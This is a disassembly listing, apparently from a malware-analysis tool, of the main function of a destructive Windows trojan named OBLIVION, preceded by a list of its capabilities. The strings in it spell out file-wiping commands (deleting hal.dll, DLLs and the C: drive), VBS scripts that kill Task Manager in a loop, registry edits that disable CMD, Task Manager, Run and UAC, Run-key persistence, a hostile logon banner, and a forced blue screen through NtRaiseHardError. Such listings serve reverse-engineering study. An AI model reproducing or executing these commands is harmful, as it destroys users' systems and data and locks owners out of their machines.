Function at 0x40169d
Capabilities:
Create thread
Disable system features via registry on windows
Execute command
Hide graphical window
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Query or enumerate registry value
References logon banner
Self delete
Set registry value
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x21a4
call fcn.00402ef0
sub esp, eax
call sym.___main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
lea eax, [ebp - 0x34]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersion
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
jne 0x4017e7
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x3c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x38]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.fearDisabled
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
test eax, eax
jne 0x4017e7
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0x405087
mov dword [esp + 4], str.So__you_dont_fear_anybody..._huh_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x405087
mov dword [esp + 4], str.Yeah._Say_goodbye_to_your_system.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], str.cmd.exe__c_del_C:WindowsSystem32hal.dll__f
call sym._system
mov dword [esp], str.cmd.exe__c_del_C:__s__f__q
call sym._system
mov dword [esp], str.cmd.exe__c_del_C:WindowsSystem32.dll__f
call sym._system
mov dword [esp], str.cmd.exe__c_rmdir_C:__s__q
call sym._system
mov dword [esp], 0x3f940aa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401cd9
mov dword [esp], str.windir
call sym._getenv
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Unable_To_Locate_Component
mov dword [esp + 4], str.This_application_has_failed_to_start_because_libgcc_s_dw2_1.dll_was_not_found._Re_installing_the_application_may_fix_this_problem.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov dword [esp], str.for__a_in__.__do___echo_OBLIVION__SAY.GOODBYE.TO.YOUR.FILES____a__
call sym._system
mov dword [esp], str.cd_C:WindowsSystem32__for__a_in__api.dll__do___del__f__a__
call sym._system
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x2148]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x2148]
mov dword [esp + 8], eax
mov dword [esp + 4], str.move___s____s_
lea eax, [ebp - 0x2044]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x2044]
mov dword [esp], eax
call sym._system
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sinf
lea eax, [ebp - 0x1c44]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1c44]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sHAHAHA.vbs
lea eax, [ebp - 0x1844]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1c44]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sMUAHAHAHA.vbs
lea eax, [ebp - 0x1444]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4052d1
lea eax, [ebp - 0x1844]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x27
mov dword [esp + 4], 1
mov dword [esp], str.set_sh__CreateObject__WScript.Shell___n
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.For_i__0_To_99999999_Step_1_n
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x14
mov dword [esp + 4], 1
mov dword [esp], str.__WScript.Sleep_600_n
call sym._fwrite
lea eax, [ebp - 0x1444]
mov dword [esp + 8], eax
mov dword [esp + 4], str.__sh.Run__wscript.exe__s___0__False_n
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x31
mov dword [esp + 4], 1
mov dword [esp], str.__sh.Run__taskkill__f__im_taskmgr.exe___0__False_n
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov dword [esp], str.Next
call sym._fwrite
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x4052d1
lea eax, [ebp - 0x1444]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4a
mov dword [esp + 4], 1
mov dword [esp], str.XMsgBox__YOUR_COMPUTER_WONT_LAST_TOO_LONG_:_____vbOkOnlyvbCritical_____
call sym._fwrite
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._fclose
mov dword [ebp - 0x2186], 0x3e4d42
mov dword [ebp - 0x2182], 0
mov dword [ebp - 0x217e], 0x360000
mov dword [ebp - 0x217a], 0x280000
mov dword [ebp - 0x2176], 0x20000
mov dword [ebp - 0x2172], 0x10000
mov dword [ebp - 0x216e], 0x10000
mov dword [ebp - 0x216a], 0x18
mov dword [ebp - 0x2166], 0x80000
mov dword [ebp - 0x2162], 0
mov dword [ebp - 0x215e], 0
mov dword [ebp - 0x215a], 0
mov dword [ebp - 0x2156], 0
mov dword [ebp - 0x2152], 0x150000
mov dword [ebp - 0x214e], 0x88001588
mov word [ebp - 0x214a], 0
mov dword [ebp - 0x20], 0x3e
lea eax, [ebp - 0x1c44]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_tHeOblIVIOn.bmp
lea eax, [ebp - 0x844]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4053ee
lea eax, [ebp - 0x844]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x2186]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___f__v_LegalNoticeCaption__t_REG_SZ__d__O_B_L_I_V_I_O_N__V1____nul_2_1
call sym._system
mov dword [esp], str.reg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___f__v_LegalNoticeText__t_REG_SZ__d__OBLIVION_TROJAN____YOUR_COMPUTER_IS_NO_MORE_____:______nul_2_1
call sym._system
lea eax, [ebp - 0x844]
mov dword [esp + 8], eax
mov dword [esp + 4], str.reg_add__HKCUControl_PanelDesktop___f__v_Wallpaper__t_REG_SZ__d___s____nul_2_1
lea eax, [ebp - 0x1044]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x1044]
mov dword [esp], eax
call sym._system
mov dword [esp], str.reg_add__HKCUControl_PanelDesktop___f__v_WallpaperStyle__t_REG_SZ__d_2___nul_2_1
call sym._system
mov dword [esp], str.reg_add_HKCUSoftwarePoliciesMicrosoftWindowsSystem__f__v_DisableCMD__t_REG_DWORD__d_2___nul_2_1
call sym._system
mov dword [esp], str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__f__v_DisableTaskMgr__t_REG_DWORD__d_1___nul_2_1
call sym._system
mov dword [esp], str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__f__v_NoRun__t_REG_DWORD__d_1___nul_2_1
call sym._system
mov dword [esp], str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem__f__v_DisableLUA__t_REG_DWORD__d_0___nul_2_1
call sym._system
lea eax, [ebp - 0x1c44]
mov dword [esp + 8], eax
mov dword [esp + 4], str.reg_add_HKLMSoftwareMicrosoftWindowsCurrentVersionRun__f__v_0BL1V10N__t_REG_SZ__d___sHAHAHA.vbs____nul_2_1
lea eax, [ebp - 0xc44]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xc44]
mov dword [esp], eax
call sym._system
mov dword [esp + 4], str.RtlAdjustPrivilege
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3d]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0x13
mov eax, dword [ebp - 0x28]
call eax
sub esp, 0x10
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._tHeObLiViOn_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x2c], eax
mov dword [esp + 4], str.NtRaiseHardError
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
mov dword [esp], str.ping_127.0.0.1__w_200__n_2___nul_2_1
call sym._system
lea eax, [ebp - 0x44]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 6
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0xdeaddead
mov eax, dword [ebp - 0x30]
call eax
sub esp, 0x18
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret